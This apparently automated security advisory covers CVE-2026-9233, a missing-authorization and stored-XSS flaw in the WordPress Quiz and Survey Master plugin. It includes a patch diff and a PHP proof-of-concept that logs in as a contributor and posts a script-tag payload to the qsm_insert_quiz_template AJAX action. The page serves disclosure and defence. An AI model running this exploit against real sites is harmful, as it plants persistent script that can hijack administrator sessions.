Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-9233: Quiz and Survey Master (QSM) <= 11.1.4 Missing Authorization to Authenticated (Contributor+) Arbitrary Modification via qsm_insert_quiz_template AJAX Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-9233
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 11.1.4
Patched Version 11.1.5
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9233: The Quiz and Survey Master (QSM) plugin for WordPress, version 11.1.4 and earlier, contains a missing authorization vulnerability in the `qsm_insert_quiz_template` AJAX handler and related admin functions. This allows authenticated attackers with contributor-level access to create, modify, and delete quiz output templates stored in the `mlw_quiz_output_templates` database table. The vulnerability also permits storing unsanitized HTML content, including arbitrary script tags, leading to stored cross-site scripting. The CVSS score is 4.3, reflecting the requirement for authenticated access but the potential for persistent client-side attacks.

Root Cause: The vulnerability stems from the `qsm_insert_quiz_template_callback()` function in `/php/admin/functions.php` (originally line 1556) and the `qsm_remove_my_templates_handler()` function (line 1640). Both functions lacked any capability check before processing requests. The `qsm_insert_quiz_template_callback()` function only verified a nonce and user login but did not ensure the user had administrative privileges (`manage_options`). Additionally, the function applied `wp_kses_post()` to sanitize template content only after the patch; in vulnerable versions, the content was used as-is with only blocked custom tags via `str_replace()`, allowing raw HTML injection. The `qsm_remove_my_templates_handler()` similarly lacked a capability check, allowing any authenticated user to delete templates. The vulnerable code paths accept `POST` parameters including `nonce`, `template_id`, and `content`.

Exploitation: An attacker with contributor-level access or higher crafts a POST request to `/wp-admin/admin-ajax.php` with the action `qsm_insert_quiz_template`. The request includes a valid nonce (which can be obtained from the frontend or generated by the attacker if they can access the necessary nonce creation logic) and a `content` parameter containing malicious HTML, such as `alert(‘XSS’)`. The plugin stores this content in the `mlw_quiz_output_templates` table, and when the template is rendered on a page, the script executes in the context of any user viewing that page, potentially including administrators. The attacker can also use `qsm_insert_quiz_template` to modify existing templates by providing a `template_id` parameter, or use `qsm_remove_my_templates` to delete templates without authorization.

Patch Analysis: The patch adds capability checks using `current_user_can( ‘manage_options’ )` at the start of both `qsm_insert_quiz_template_callback()` and `qsm_remove_my_templates_handler()` functions, immediately returning an error if the user lacks admin access. It also introduces `wp_kses_post()` to sanitize the template content before saving, stripping out script tags and event handlers while preserving allowed HTML. The patch also adds additional authorization checks in the REST API endpoints (`block.php` and `rest-api.php`) to ensure per-quiz ownership using `qsm_current_user_can_edit_quiz()`. The version is bumped from 11.1.4 to 11.1.5. Before the patch, any authenticated user could manipulate templates; after the patch, only administrators can do so.

Impact: Successful exploitation allows an authenticated contributor or higher to create or modify quiz output templates containing arbitrary JavaScript. When displayed, these templates execute in the browsers of users viewing quiz content, including site administrators. This leads to persistent cross-site scripting, which can be used to steal session cookies, exfiltrate data, perform actions on behalf of administrators, and potentially achieve full site compromise. The vulnerability does not allow unauthenticated access due to the nonce check, but the privilege escalation from contributor to stored XSS allows for severe downstream attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/quiz-master-next/blocks/block.php
+++ b/quiz-master-next/blocks/block.php
@@ -329,8 +329,14 @@
 				array(
 					'methods'             => WP_REST_Server::CREATABLE,
 					'callback'            => array( $this, 'qsm_quiz_structure_data' ),
-					'permission_callback' => function () {
-						return current_user_can( 'edit_qsm_quizzes' );
+					'permission_callback' => function ( WP_REST_Request $request ) {
+						if ( ! current_user_can( 'edit_qsm_quizzes' ) ) {
+							return false;
+						}
+						$quiz_id = isset( $request['quizID'] ) ? intval( $request['quizID'] ) : 0;
+						return function_exists( 'qsm_current_user_can_edit_quiz' )
+							? qsm_current_user_can_edit_quiz( $quiz_id )
+							: false;
 					},
 				)
 			);
@@ -438,6 +444,13 @@
 				return $result;
 			}

+			// Defense-in-depth: refuse to leak quiz structure or a usable rest_nonce
+			// for a quiz the current user is not authorized to edit.
+			if ( function_exists( 'qsm_current_user_can_edit_quiz' ) && ! qsm_current_user_can_edit_quiz( $quiz_id ) ) {
+				$result['msg'] = __( 'Unauthorized!', 'quiz-master-next' );
+				return $result;
+			}
+
 			global $wpdb;


@@ -604,6 +617,16 @@
 				);
 			}

+			// Enforce per-quiz ownership: the route's permission_callback only checks
+			// the broad edit_qsm_quizzes cap, so a contributor could otherwise rename
+			// or publish a quiz they do not own by passing its id in the request body.
+			if ( ! function_exists( 'qsm_current_user_can_edit_quiz' ) || ! qsm_current_user_can_edit_quiz( $quiz_id ) ) {
+				return array(
+					'status' => 'error',
+					'msg'    => __( 'Unauthorized!', 'quiz-master-next' ),
+				);
+			}
+
 			global $mlwQuizMasterNext;
 			//Save Questions
 			if ( ! empty( $_POST['quizData']['questions'] ) ) {
--- a/quiz-master-next/mlw_quizmaster2.php
+++ b/quiz-master-next/mlw_quizmaster2.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Quiz And Survey Master
  * Description: Easily and quickly add quizzes and surveys to your website.
- * Version: 11.1.4
+ * Version: 11.1.5
  * Author: ExpressTech
  * Author URI: https://quizandsurveymaster.com/
  * Plugin URI: https://expresstech.io/
@@ -43,7 +43,7 @@
 	 * @var string
 	 * @since 4.0.0
 	 */
-	public $version = '11.1.4';
+	public $version = '11.1.5';

 	/**
 	 * QSM Alert Manager Object
--- a/quiz-master-next/php/admin/functions.php
+++ b/quiz-master-next/php/admin/functions.php
@@ -812,6 +812,9 @@
 			'%ANSWER_X%'                  => __( 'X = Question ID. It will show result of particular question.', 'quiz-master-next' ),
 			'%TIME_FINISHED%'             => __( 'Display time after quiz submission.', 'quiz-master-next' ),
 			'%QUESTIONS_ANSWERS_EMAIL%'   => __( 'Shows the question, the answer provided by user, and the correct answer.', 'quiz-master-next' ),
+			'%QSM_START_QUIZ_DATE%'       => __( 'The scheduled start date/time of the quiz.', 'quiz-master-next' ),
+			'%QSM_END_QUIZ_DATE%'         => __( 'The scheduled end date/time of the quiz.', 'quiz-master-next' ),
+
 		),
 	);
 	$variable_list   = apply_filters( 'qsm_text_variable_list', $variable_list );
@@ -1556,6 +1559,11 @@
 function qsm_insert_quiz_template_callback() {
     global $wpdb;

+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error( array( 'message' => __( 'You do not have permission to manage quiz templates.', 'quiz-master-next' ) ) );
+		wp_die();
+	}
+
 	// validate nonce
 	if ( isset( $_POST['nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_add_template' ) && is_user_logged_in() ) {

@@ -1578,6 +1586,9 @@
 			},
 			$filtered_content
 		);
+		// Strip executable HTML (e.g. <script>, on* handlers) before persisting.
+		// Runs after the custom-tag passes above so %VARIABLE% / shortcode text are preserved.
+		$filtered_content = wp_kses_post( $filtered_content );

 		$table_name = $wpdb->prefix . 'mlw_quiz_output_templates';

@@ -1640,6 +1651,12 @@
  */
 function qsm_remove_my_templates_handler() {
     global $wpdb;
+
+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error( array( 'message' => __( 'You do not have permission to manage quiz templates.', 'quiz-master-next' ) ) );
+		wp_die();
+	}
+
 	if ( ! isset( $_POST['nonce'] ) ||
         ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_remove_template' )
     ) {
@@ -2107,4 +2124,4 @@

     <?php
 }
-add_action( 'admin_notices', 'qsm_show_legacy_fallback_notice' );
 No newline at end of file
+add_action( 'admin_notices', 'qsm_show_legacy_fallback_notice' );
--- a/quiz-master-next/php/admin/options-page-email-tab.php
+++ b/quiz-master-next/php/admin/options-page-email-tab.php
@@ -301,7 +301,7 @@
 				</div>
 				<div class="qsm-email-page-then-box-styles-wrap">
 					<div class="qsm-email-page-common-section qsm-email-page-then-box-styles" >
-						<label><?php esc_html_e( 'Who to send the email to? Put %USER_EMAIL% to send to user', 'quiz-master-next' ); ?></label>
+						<label><?php esc_html_e( 'Send to: Use %USER_EMAIL% for the user or %QSM_ADMIN_EMAIL% for the admin. Separate multiple emails with commas.', 'quiz-master-next' ); ?></label>
 						<?php do_action( 'qsm_after_send_email_label' ); ?>
 						<input type="email" class="qsm-to-email" value="{{ data.to }}">
 						<label class="qsm-email-reply-to">
--- a/quiz-master-next/php/classes/class-qsm-install.php
+++ b/quiz-master-next/php/classes/class-qsm-install.php
@@ -984,6 +984,8 @@
 				'%QUIZ_LINK%',
 				'%CURRENT_DATE%',
 				'%TOTAL_QUESTIONS%',
+				'%QSM_START_QUIZ_DATE%',
+				'%QSM_END_QUIZ_DATE%',
 			),
 		);
 		$mlwQuizMasterNext->pluginHelper->register_quiz_setting( $field_array, 'quiz_text' );
@@ -1059,6 +1061,8 @@
 				'%QUIZ_LINK%',
 				'%CURRENT_DATE%',
 				'%TOTAL_QUESTIONS%',
+				'%QSM_START_QUIZ_DATE%',
+				'%QSM_END_QUIZ_DATE%',
 			),
 		);
 		$mlwQuizMasterNext->pluginHelper->register_quiz_setting( $field_array, 'quiz_text' );
--- a/quiz-master-next/php/rest-api.php
+++ b/quiz-master-next/php/rest-api.php
@@ -464,6 +464,12 @@
 	// Makes sure user is logged in.
 	if ( is_user_logged_in() ) {
 		$current_user = wp_get_current_user();
+		if ( ! qsm_current_user_can_edit_quiz( $request['id'] ) ) {
+			return array(
+				'status' => 'error',
+				'msg'    => __( 'Unauthorized!', 'quiz-master-next' ),
+			);
+		}
 		$stop         = qsm_verify_rest_user_nonce( $request['id'], $current_user->ID, $request['rest_nonce'] );
 		if ( ! $stop ) {
 			if ( ! isset( $request['emails'] ) || ! is_array( $request['emails'] ) ) {
--- a/quiz-master-next/php/template-variables.php
+++ b/quiz-master-next/php/template-variables.php
@@ -59,6 +59,9 @@
 add_filter( 'mlw_qmn_template_variable_quiz_page', 'mlw_qmn_variable_social_share', 10, 2 );
 add_filter( 'mlw_qmn_template_variable_quiz_page', 'mlw_qmn_variable_total_questions', 10, 2 );
 add_filter( 'mlw_qmn_template_variable_results_page', 'qsm_variable_minimum_points', 10, 2 );
+add_filter( 'mlw_qmn_template_variable_results_page', 'qsm_variable_start_end_quiz_time', 10, 2 );
+add_filter( 'mlw_qmn_template_variable_quiz_page', 'qsm_variable_start_end_quiz_time', 10, 2 );
+add_filter( 'mlw_qmn_template_variable_results_page', 'qsm_variable_admin_email', 10, 2 );

 /**
  * Changed the display structure to new structure.
@@ -1814,3 +1817,72 @@

 	return wp_kses_post( $question_display );
 }
+
+/**
+ * Replaces %QSM_START_QUIZ_DATE% and %QSM_END_QUIZ_DATE% with the quiz's
+ * scheduled start/end date-time, formatted using the site's date/time settings.
+ */
+function qsm_variable_start_end_quiz_time( $content, $mlw_quiz_array ) {
+	$has_start = strpos( $content, '%QSM_START_QUIZ_DATE%' ) !== false;
+	$has_end   = strpos( $content, '%QSM_END_QUIZ_DATE%' ) !== false;
+
+	if ( ! $has_start && ! $has_end ) {
+		return $content;
+	}
+
+	global $mlwQuizMasterNext;
+	$date_format = get_option( 'date_format' ) . ' ' . get_option( 'time_format' );
+
+	if ( $has_start ) {
+		$start_time_raw = '';
+		if ( isset( $mlw_quiz_array['scheduled_time_start'] ) && '' !== $mlw_quiz_array['scheduled_time_start'] ) {
+			$start_time_raw = $mlw_quiz_array['scheduled_time_start'];
+		} else {
+			$quiz_options = $mlwQuizMasterNext->pluginHelper->get_quiz_setting( 'quiz_options', array() );
+			if ( isset( $quiz_options['scheduled_time_start'] ) ) {
+				$start_time_raw = $quiz_options['scheduled_time_start'];
+			}
+		}
+		$start_formatted = '';
+		if ( '' !== $start_time_raw ) {
+			$timestamp = strtotime( $start_time_raw );
+			if ( $timestamp ) {
+				$start_formatted = date_i18n( $date_format, $timestamp );
+			}
+		}
+		$content = str_replace( '%QSM_START_QUIZ_DATE%', $start_formatted, $content );
+	}
+
+	if ( $has_end ) {
+		$end_time_raw = '';
+		if ( isset( $mlw_quiz_array['scheduled_time_end'] ) && '' !== $mlw_quiz_array['scheduled_time_end'] ) {
+			$end_time_raw = $mlw_quiz_array['scheduled_time_end'];
+		} else {
+			$quiz_options = $mlwQuizMasterNext->pluginHelper->get_quiz_setting( 'quiz_options', array() );
+			if ( isset( $quiz_options['scheduled_time_end'] ) ) {
+				$end_time_raw = $quiz_options['scheduled_time_end'];
+			}
+		}
+		$end_formatted = '';
+		if ( '' !== $end_time_raw ) {
+			$timestamp = strtotime( $end_time_raw );
+			if ( $timestamp ) {
+				$end_formatted = date_i18n( $date_format, $timestamp );
+			}
+		}
+		$content = str_replace( '%QSM_END_QUIZ_DATE%', $end_formatted, $content );
+	}
+
+	return $content;
+}
+
+/**
+ * Replaces %QSM_ADMIN_EMAIL% with the site's administrator email address.
+ */
+function qsm_variable_admin_email( $content, $mlw_quiz_array ) {
+	if ( strpos( $content, '%QSM_ADMIN_EMAIL%' ) === false ) {
+		return $content;
+	}
+	$admin_email = esc_html( get_option( 'admin_email', '' ) );
+	return str_replace( '%QSM_ADMIN_EMAIL%', $admin_email, $content );
+}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9233 - Quiz and Survey Master (QSM) <= 11.1.4 - Missing Authorization to Authenticated (Contributor+) Arbitrary Modification via qsm_insert_quiz_template AJAX Action

// Configure target WordPress site
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$username = 'contributor_user';  // CHANGE THIS to a valid contributor username
$password = 'contributor_pass';  // CHANGE THIS to the user's password

// Step 1: Authenticate and obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get a nonce from an admin page (simplified: adjust as needed)
// In practice, the nonce can be extracted from the QSM admin page or generated via wp_create_nonce if the attacker can call it.
// Here we assume we have obtained a valid nonce for 'qsm_add_template'. For demonstration, we use a placeholder.
// To get a real nonce, you might need to visit the admin page or use another endpoint that leaks it.
$nonce = 'VALID_NONCE_VALUE'; // Replace with a valid nonce from the QSM admin area (e.g., from the page source of QSM Templates page)

// Step 3: Send the AJAX request to create a malicious template
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
    'action' => 'qsm_insert_quiz_template',
    'nonce' => $nonce,
    'template_id' => '9999', // Arbitrary ID; if exists, it modifies; if not, creates
    'content' => '<script>alert("CVE-2026-9233 XSS by Atomic Edge");</script>',
    'template_name' => 'Atomic Edge Template'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Output the response
echo "Response from server:n";
echo $response;
echo "n";

// For a successful exploit, the response should contain "success":true or similar.
// The template with the XSS payload is now stored and will execute when displayed.

// Note: This PoC requires a valid nonce. In a real attack, the attacker would need to obtain it from the QSM admin pages or by generating it if they have the correct keys.
// The nonce is typically found in the QSM settings page under "Quiz Templates" or similar.

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School